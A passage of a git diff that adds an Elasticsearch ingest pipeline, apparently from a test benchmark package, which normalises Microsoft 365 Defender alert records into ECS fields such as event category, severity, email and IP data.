+{{#each tags as |tag|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+{{#if processors}}
+processors:
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..ee0b02a171
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,2860 @@
+---
+description: Pipeline for processing Alert logs.
+processors:
+  - remove:
+      field:
+        - organization
+        - division
+        - team
+      ignore_missing: true
+      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
+      tag: remove_agentless_tags
+      description: >-
+        Removes the fields added by Agentless as metadata,
+        as they can collide with ECS fields.
+  - set:
+      field: ecs.version
+      tag: set_ecs_version
+      value: '8.11.0'
+  - set:
+      field: event.kind
+      tag: set_event_kind
+      value: alert
+  - rename:
+      field: message
+      tag: rename_message_to_event_original
+      target_field: event.original
+      ignore_missing: true
+      if: ctx.event?.original == null
+  - remove:
+      tag: remove_message_2ee3a7d4
+      field: message
+      ignore_missing: true
+      if: 'ctx.event?.original != null'
+      description: 'The `message` field is no longer required if the document has an `event.original` field.'
+  - json:
+      field: event.original
+      tag: json_event_original
+      target_field: json
+      on_failure:
+        - append:
+            tag: append_error_message_cea45f41
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - drop:
+      tag: drop_if_event_is_malformed
+      description: |
+        If an empty 'value' array exists, it means the input did not split correctly because we have
+        no more alerts and the event can be ignored.
+      if: ctx.json?.value instanceof List && ctx.json.value.length == 0
+  - fail:
+      tag: fail_if_value_array_has_elements
+      description: |
+        If we get here and the 'value' array has elements it means there is an error in the input 
+        configuration.
+      if: ctx.json?.value instanceof List && ctx.json.value.length > 0
+      message: |
+        There is an unexpected 'value' array with elements. 
+        This indicates a misconfiguration of the input.
+  - fingerprint:
+      fields:
+        - json.id
+        - json.lastUpdateDateTime
+        - json.incidentId
+        - json.providerAlertId
+      tag: fingerprint_processor
+      target_field: _id
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Drops empty string values recursively.
+      tag: painless_remove_empty_from_evidence
+      if: ctx.json?.evidence != null
+      source: |-
+        boolean drop(Object object) {
+          if (object == '') {
+            return true;
+          } else if (object instanceof Map) {
+            ((Map) object).values().removeIf(v -> drop(v));
+            return (((Map) object).size() == 0);
+          } else if (object instanceof List) {
+            ((List) object).removeIf(v -> drop(v));
+            return (((List) object).length == 0);
+          }
+          return false;
+        }
+        drop(ctx.json.evidence);
+  - script:
+      description: Dynamically map event.category and event.type field from evidence.
+      tag: script_to_set_event_category_and_type
+      lang: painless
+      if: ctx.json?.evidence instanceof List
+      params:
+        '#microsoft.graph.security.analyzedMessageEvidence': email
+        '#microsoft.graph.security.mailboxEvidence': email
+        '#microsoft.graph.security.mailClusterEvidence': email
+        '#microsoft.graph.security.deviceEvidence': host
+        '#microsoft.graph.security.fileEvidence': file
+        '#microsoft.graph.security.ipEvidence': network
+        '#microsoft.graph.security.processEvidence': process
+        '#microsoft.graph.security.registryValueEvidence': registry
+        '#microsoft.graph.security.registryKeyEvidence': registry
+        '#microsoft.graph.security.userEvidence': iam
+        '#microsoft.graph.security.securityGroupEvidence': iam
+        malware: malware
+        malicioususeractivity: malware
+        phishing: email
+        apt: threat
+      source: >
+        def eventCategory = new HashSet();
+        def eventType = new HashSet();
+        for (evidence in ctx.json.evidence) {
+          String mapping = params[evidence["@odata.type"]];
+          if (mapping != null) {
+            eventCategory.add(mapping);
+            if(eventCategory.contains('registry')){
+              eventType.add('access');
+            }
+            else if(eventCategory.contains('threat')){
+              eventType.add('indicator');
+            }
+            else{
+              eventType.add('info');
+            }
+          }
+        }
+        if(ctx.json?.determination != null){
+          String mapping = params[ctx.json.determination.toLowerCase()];
+          if(mapping != null) {
+            eventCategory.add(mapping);
+            if(eventCategory.contains('threat')){
+              eventType.add('indicator');
+            }
+            else{
+              eventType.add('info');
+            }
+          }
+        }
+        if (!eventType.isEmpty()) {
+          def type = new ArrayList();
+          for(def t:eventType) {
+            type.add(t);
+          }
+          Collections.sort(type);
+          ctx.event.type = type;
+        }
+        if (!eventCategory.isEmpty()) {
+          def category = new ArrayList();
+          for(def c:eventCategory) {
+            category.add(c);
+          }
+          Collections.sort(category);
+          ctx.event.category = category;
+        }
+  - dot_expander:
+      field: '@odata.type'
+      tag: dot_expander_@odata_type
+      path: json
+      override: true
+      on_failure:
+        - append:
+            tag: append_error_message_7172c928
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.@odata.type
+      tag: rename_@odata_type
+      target_field: m365_defender.alert.odata_type
+      ignore_missing: true
+  - date:
+      field: json.lastUpdateDateTime
+      tag: date_lastUpdateDateTime
+      formats:
+        - ISO8601
+      if: ctx.json?.lastUpdateDateTime != null && ctx.json.lastUpdateDateTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_68a7a0b9
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: m365_defender.alert.last_update_datetime
+      tag: set_last_update_datetime
+      copy_from: '@timestamp'
+      ignore_empty_value: true
+  - rename:
+      field: json.description
+      tag: rename_description
+      target_field: m365_defender.alert.description
+      ignore_missing: true
+  - set:
+      field: message
+      tag: set_message
+      copy_from: m365_defender.alert.description
+      ignore_empty_value: true
+  - rename:
+      field: json.tenantId
+      tag: rename_tenantId
+      target_field: m365_defender.alert.tenant_id
+      ignore_missing: true
+  - set:
+      field: cloud.account.id
+      tag: set_cloud_account_id
+      copy_from: m365_defender.alert.tenant_id
+      ignore_empty_value: true
+  - date:
+      field: json.createdDateTime
+      tag: date_createdDateTime
+      target_field: m365_defender.alert.created_datetime
+      formats:
+        - ISO8601
+      if: ctx.json?.createdDateTime != null && ctx.json.createdDateTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_686dd3a2
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.created
+      tag: set_event_created
+      copy_from: m365_defender.alert.created_datetime
+      ignore_empty_value: true
+  - date:
+      field: json.lastActivityDateTime
+      tag: date_lastActivityDateTime
+      target_field: m365_defender.alert.last_activity_datetime
+      formats:
+        - ISO8601
+      if: ctx.json?.lastActivityDateTime != null && ctx.json.lastActivityDateTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_8b559792
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.end
+      tag: set_event_end
+      copy_from: m365_defender.alert.last_activity_datetime
+      ignore_empty_value: true
+  - rename:
+      field: json.id
+      tag: rename_id
+      target_field: m365_defender.alert.id
+      ignore_missing: true
+  - set:
+      field: event.id
+      tag: set_event_id
+      copy_from: m365_defender.alert.id
+      ignore_empty_value: true
+  - rename:
+      field: json.serviceSource
+      tag: rename_serviceSource
+      target_field: m365_defender.alert.service_source
+      ignore_missing: true
+  - set:
+      field: event.provider
+      tag: set_event_provider
+      copy_from: m365_defender.alert.service_source
+      ignore_empty_value: true
+  - rename:
+      field: json.severity
+      tag: rename_severity
+      target_field: m365_defender.alert.severity
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Script to set event.severity.
+      tag: set_event_severity
+      if: ctx.m365_defender?.alert?.severity instanceof String
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        String risk_score_value = ctx.m365_defender.alert.severity;
+        if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("informational")) {
+          ctx.event.severity = 21;
+        } else if (risk_score_value.equalsIgnoreCase("medium")) {
+          ctx.event.severity = 47;
+        } else if (risk_score_value.equalsIgnoreCase("high")) {
+          ctx.event.severity = 73;
+        } else if (risk_score_value.equalsIgnoreCase("critical")) {
+          ctx.event.severity = 99;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_7616b08e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.firstActivityDateTime
+      tag: date_firstActivityDateTime
+      target_field: m365_defender.alert.first_activity_datetime
+      formats:
+        - ISO8601
+      if: ctx.json?.firstActivityDateTime != null && ctx.json.firstActivityDateTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_7c22fa58
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.start
+      tag: set_event_start
+      copy_from: m365_defender.alert.first_activity_datetime
+      ignore_empty_value: true
+  - script:
+      description: Determine event.duration from starting and ending activity timestamp.
+      tag: script_event_duration
+      lang: painless
+      if: ctx.event?.start != null && ctx.event?.end != null
+      source: |
+        Instant eventstart = ZonedDateTime.parse(ctx.event?.start).toInstant();
+        Instant eventend = ZonedDateTime.parse(ctx.event?.end).toInstant();
+        ctx.event['duration'] = ChronoUnit.NANOS.between(eventstart, eventend);
+  - uri_parts:
+      field: json.alertWebUrl
+      tag: uri_parts_alertWebUrl
+      target_field: m365_defender.alert.web_url
+      if: ctx.json?.alertWebUrl != null
+      keep_original: true
+      on_failure:
+        - remove:
+            tag: remove_json_alertWebUrl_12dda30b
+            field: json.alertWebUrl
+        - append:
+            tag: append_error_message_ce0a2478
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.url
+      tag: set_event_url
+      copy_from: m365_defender.alert.web_url.original
+      ignore_empty_value: true
+  - rename:
+      field: json.assignedTo
+      tag: rename_assignedTo
+      target_field: m365_defender.alert.assigned_to
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_related_user
+      value: '{{{m365_defender.alert.assigned_to}}}'
+      if: ctx.m365_defender?.alert?.assigned_to != null
+      allow_duplicates: false
+  - set:
+      field: source.user.name
+      tag: set_source_user_name
+      copy_from: m365_defender.alert.assigned_to
+      ignore_empty_value: true
+  - rename:
+      field: json.threatFamilyName
+      tag: rename_threatFamilyName
+      target_field: m365_defender.alert.threat_family_name
+      ignore_missing: true
+  - rename:
+      field: json.category
+      tag: rename_category
+      target_field: m365_defender.alert.category
+      ignore_missing: true
+  - append:
+      field: threat.tactic.name
+      tag: append_threat_tactic_name
+      value: '{{{m365_defender.alert.category}}}'
+      if: ctx.m365_defender?.alert?.category != null
+      allow_duplicates: false
+  - rename:
+      field: json.mitreTechniques
+      tag: rename_mitreTechniques
+      target_field: m365_defender.alert.mitre_techniques
+      ignore_missing: true
+  - set:
+      field: threat.technique.subtechnique.id
+      tag: set_threat_technique_subtechnique_id
+      copy_from: m365_defender.alert.mitre_techniques
+      ignore_empty_value: true
+  - rename:
+      field: json.actorDisplayName
+      tag: rename_actorDisplayName
+      target_field: m365_defender.alert.actor_display_name
+      ignore_missing: true
+  - rename:
+      field: json.classification
+      tag: rename_classification
+      target_field: m365_defender.alert.classification
+      ignore_missing: true
+  - foreach:
+      field: json.comments
+      tag: foreach_comments
+      if: ctx.json?.comments instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: foreach_comments_append_createdByDisplayName
+          value: '{{{_ingest._value.createdByDisplayName}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.comments
+      tag: rename_comments
+      target_field: m365_defender.alert.comments
+      ignore_missing: true
+  - rename:
+      field: json.detectorId
+      tag: rename_detectorId
+      target_field: m365_defender.alert.detector_id
+      ignore_missing: true
+  - rename:
+      field: json.detectionSource
+      tag: rename_detection_source
+      target_field: m365_defender.alert.detection_source
+      ignore_missing: true
+  - rename:
+      field: json.determination
+      tag: rename_determination
+      target_field: m365_defender.alert.determination
+      ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_createdDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        date:
+          field: _ingest._value.createdDateTime
+          tag: date_foreach_evidence_createdDateTime
+          target_field: _ingest._value.created_datetime
+          formats:
+            - ISO8601
+          on_failure:
+            - remove:
+                field: _ingest._value.createdDateTime
+                ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_remediationStatus
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.remediationStatus
+          tag: foreach_rename_remediationStatus
+          target_field: _ingest._value.remediation_status
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evident_ipInterfaces
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.ipInterfaces
+          tag: inside_foreach_convert_ipInterfaces
+          ignore_missing: true
+          processor:
+            convert:
+              field: _ingest._value
+              tag: foreach_convert_ipInterfaces
+              type: ip
+              ignore_missing: true
+              on_failure:
+                - remove:
+                    field: _ingest._value
+                    ignore_missing: true
+                - append:
+                    field: error.message
+                    value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_ip_interfaces
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.ipInterfaces
+          tag: rename_foreach_ip_interfaces
+          target_field: _ingest._value.ip_interfaces
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_ip_interfaces_to_host_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.ip_interfaces
+          tag: foreach_append_ip_interfaces_to_host_ip
+          ignore_missing: true
+          processor:
+            append:
+              field: host.ip
+              tag: append_ip_interfaces_to_host_ip
+              value: '{{{_ingest._value}}}'
+              allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_ip_interfaces_to_related_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.ip_interfaces
+          tag: foreach_append_ip_interfaces_to_related_ip
+          ignore_missing: true
+          processor:
+            append:
+              field: related.ip
+              tag: append_ip_interfaces_to_related_ip
+              value: '{{{_ingest._value}}}'
+              allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_detailedRoles
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.detailedRoles
+          tag: rename_foreach_detailedRoles
+          target_field: _ingest._value.detailed_roles
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_remediationStatusDetails
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.remediationStatusDetails
+          tag: rename_foreach_remediationStatusDetails
+          target_field: _ingest._value.remediation_status_details
+          ignore_missing: true
+  - rename:
+      field: json.incidentId
+      tag: rename_incidentId
+      target_field: m365_defender.alert.incident_id
+      ignore_missing: true
+  - uri_parts:
+      field: json.incidentWebUrl
+      tag: uri_parts_incidentWebUrl
+      target_field: m365_defender.alert.incident_web_url
+      if: ctx.json?.incidentWebUrl != null
+      keep_original: true
+      on_failure:
+        - remove:
+            tag: remove_json_incidentWebUrl_109036dc
+            field: json.incidentWebUrl
+        - append:
+            tag: append_error_message_08848c8b
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.providerAlertId
+      tag: rename_providerAlertId
+      target_field: m365_defender.alert.provider_alert_id
+      ignore_missing: true
+  - rename:
+      field: json.recommendedActions
+      tag: rename_recommendedActions
+      target_field: m365_defender.alert.recommended_actions
+      ignore_missing: true
+  - date:
+      field: json.resolvedDateTime
+      tag: date_resolvedDateTime
+      target_field: m365_defender.alert.resolved_datetime
+      formats:
+        - ISO8601
+      if: ctx.json?.resolvedDateTime != null && ctx.json.resolvedDateTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_3911a726
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.status
+      tag: rename_status
+      target_field: m365_defender.alert.status
+      ignore_missing: true
+  - rename:
+      field: json.threatDisplayName
+      tag: rename_threatDisplayName
+      target_field: m365_defender.alert.threat_display_name
+      ignore_missing: true
+  - rename:
+      field: json.title
+      tag: rename_title
+      target_field: m365_defender.alert.title
+      ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_@0data
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.@odata.type
+          tag: foreach_rename_evidence_@odata
+          target_field: _ingest._value.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_receivedDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        date:
+          field: _ingest._value.receivedDateTime
+          tag: date_foreach_evidence_receivedDateTime
+          target_field: _ingest._value.received_datetime
+          formats:
+            - ISO8601
+          on_failure:
+            - remove:
+                field: _ingest._value.receivedDateTime
+                ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_Delivery_timestamp
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.delivery_timestamp
+          tag: append_foreach_evidence_email_Delivery_timestamp
+          value: '{{{_ingest._value.received_datetime}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_antiSpamDirection
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.antiSpamDirection
+          tag: rename_foreach_antispam_direction
+          target_field: _ingest._value.antispam_direction
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_direction
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.direction
+          tag: append_foreach_evidence_email_direction
+          value: '{{{_ingest._value.antispam_direction}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_subject
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.subject
+          tag: append_foreach_evidence_email_subject
+          value: '{{{_ingest._value.subject}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_recipientEmailAddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.recipientEmailAddress
+          tag: rename_foreach_evidence_recipientEmailAddress
+          target_field: _ingest._value.recipient_email_address
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_related_user
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_related_user
+          value: '{{{_ingest._value.recipient_email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_to_address
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.to.address
+          tag: append_foreach_evidence_email_to_address
+          value: '{{{_ingest._value.recipient_email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_convert_evidence_attachmentsCount
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.attachmentsCount
+          tag: convert_foreach_evidence_attachmentsCount
+          target_field: _ingest._value.attachments_count
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.attachmentsCount
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_deliveryAction
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.deliveryAction
+          tag: rename_foreach_evidence_deliveryAction
+          target_field: _ingest._value.delivery_action
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_deliveryLocation
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.deliveryLocation
+          tag: rename_foreach_evidence_deliveryLocation
+          target_field: _ingest._value.delivery_location
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_evidence_internetMessageId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.message_id
+          tag: append_foreach_evidence_email_message_id
+          value: '{{{_ingest._value.internetMessageId}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_evidence_networkMessageId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.local_id
+          tag: append_foreach_evidence_email_local_id
+          value: '{{{_ingest._value.networkMessageId}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_dot_expander_evidence_p1Sender
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.p1Sender
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p1Sender.@odata.type
+          tag: rename_foreach_evidence_odata_type
+          target_field: _ingest._value.p1_sender.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_p2Sender
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.p2Sender
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_p2Sender_odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p2Sender.@odata.type
+          tag: rename_foreach_evidence_p2Sender_odata_type
+          target_field: _ingest._value.p2_sender.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_displayName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p1Sender.displayName
+          tag: rename_foreach_p2Sender_displayName
+          target_field: _ingest._value.p1_sender.display_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_p1Sender_Display_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_p1Sender_Display_name
+          value: '{{{_ingest._value.p1_sender.display_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_p1sender_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p1Sender.domainName
+          tag: rename_foreach_evidence_p1sender_domainName
+          target_field: _ingest._value.p1_sender.domain_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_append_related_hosts_p1sender_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_rename_evidence_related_hosts_p1sender_domain_name
+          value: '{{{_ingest._value.p1_sender.domain_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_p1sender_emailAddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p1Sender.emailAddress
+          tag: rename_foreach_evidence_p1sender_emailaddress
+          target_field: _ingest._value.p1_sender.email_address
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_from_adress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.from.address
+          tag: append_foreach_evidence_email_from_adress
+          value: '{{{_ingest._value.p1_sender.email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_email_sender_address
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.sender.address
+          tag: append_foreach_evidence_email_sender_address
+          value: '{{{_ingest._value.p1_sender.email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_evidence_related_user_p1sender_emailaddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_related_user_p1sender_emailaddress
+          value: '{{{_ingest._value.p1_sender.email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_p2sender_displayname
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p2Sender.displayName
+          tag: rename_foreach_evidence_p2sender_displayname
+          target_field: _ingest._value.p2_sender.display_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_user_p2sender_display_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_user_p2sender_display_name
+          value: '{{{_ingest._value.p2_sender.display_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_p2sender_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p2Sender.domainName
+          tag: rename_foreach_evidence_p2sender_domain_name
+          target_field: _ingest._value.p2_sender.domain_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_hosts_p2sender_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_evidence_hosts_p2sender_domain_name
+          value: '{{{_ingest._value.p2_sender.domain_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_p2sender_email_address
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.p2Sender.emailAddress
+          tag: rename_foreach_evidence_p2sender_emailAddress
+          target_field: _ingest._value.p2_sender.email_address
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_evidence_p2sender_emailaddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: email.from.address
+          tag: append_foreach_evidence_p2sender_emailaddress
+          value: '{{{_ingest._value.p2_sender.email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_user_p2sender_email_address
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_user_p2sender_email_address
+          value: '{{{_ingest._value.p2_sender.email_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_senderIp
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.senderIp
+          tag: convert_foreach_evidence_senderIp
+          target_field: _ingest._value.sender_ip
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.senderIp
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_source_ip_sender_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: source.ip
+          tag: append_foreach_evidence_source_ip_sender_ip
+          value: '{{{_ingest._value.sender_ip}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_related_ip_sender_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_foreach_evidence_related_ip_sender_ip
+          value: '{{{_ingest._value.sender_ip}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_threatDetectionMethods
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.threatDetectionMethods
+          tag: rename_foreach_evidence_threatDetectionMethods
+          target_field: _ingest._value.threat_detection_methods
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_urlCount
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.urlCount
+          tag: convert_foreach_evidence_urlCount
+          target_field: _ingest._value.url_count
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
